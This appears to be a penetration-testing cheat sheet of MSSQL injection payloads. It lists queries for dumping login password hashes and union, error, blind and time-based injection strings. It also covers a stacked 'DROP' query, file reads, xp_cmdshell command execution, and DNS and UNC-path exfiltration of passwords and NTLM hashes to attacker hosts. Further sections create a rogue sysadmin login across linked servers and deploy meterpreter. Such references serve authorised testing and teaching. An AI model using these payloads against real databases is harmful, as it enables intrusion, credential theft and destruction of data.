MSSQL Injection
Summary
- MSSQL Comments
- MSSQL User
- MSSQL Version
- MSSQL Hostname
- MSSQL Database name
- MSSQL List databases
- MSSQL List columns
- MSSQL List tables
- MSSQL Extract user/password
- MSSQL Union Based
- MSSQL Error Based
- MSSQL Blind Based
- MSSQL Time Based
- MSSQL Stacked query
- MSSQL Read file
- MSSQL Command execution
- MSSQL Out of band
- MSSQL Make user DBA
- MSSQL Trusted Links
- MSSQL List permissions
MSSQL Comments
-- comment goes here
/* comment goes here */
MSSQL User
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;
MSSQL version
SELECT @@version
MSSQL Hostname
SELECT HOST_NAME()
SELECT @@hostname;
MSSQL Database name
SELECT DB_NAME()
MSSQL List databases
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
MSSQL List columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns
MSSQL List tables
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
MSSQL Extract user/password
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
MSSQL Union Based
-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb
-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users
-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName
-- Finally extract the data
$ SELECT UserId, UserName from Users
MSSQL Error based
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)
For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
MSSQL Blind based
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
MSSQL Time based
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
MSSQL Stacked Query
Use a semi-colon ";" to add another query
ProductID=1; DROP members--
MSSQL Read file
Permissions: The BULK
option requires the ADMINISTER BULK OPERATIONS
or the ADMINISTER DATABASE BULK OPERATIONS
permission.
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
MSSQL Command execution
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
To interact with the MSSQL instance.
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
Execute Python script
Executed by a different user than the one using xp_cmdshell to execute commands
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
MSSQL Out of band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree
function to list the files in our SMB share and grab the NTLMv2 hash.
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
MSSQL Make user DBA (DB admin)
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
MSSQL Trusted Links
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
Manual exploitation
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
List permissions
Listing effective permissions of current user on the server.
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
Listing effective permissions of current user on the database.
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
Listing effective permissions of current user on a view.
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
Check if current user is a member of the specified server role.
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
References
- Pentest Monkey - mssql-sql-injection-cheat-sheet
- Error Based - SQL Injection
- MSSQL Trusted Links - HackTricks.xyz
- SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013
- DAFT: Database Audit Framework & Toolkit - NetSPI
- SQL Server UNC Path Injection Cheatsheet - nullbind
- Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009
- Microsoft - sys.fn_my_permissions (Transact-SQL)
- Microsoft - IS_SRVROLEMEMBER (Transact-SQL)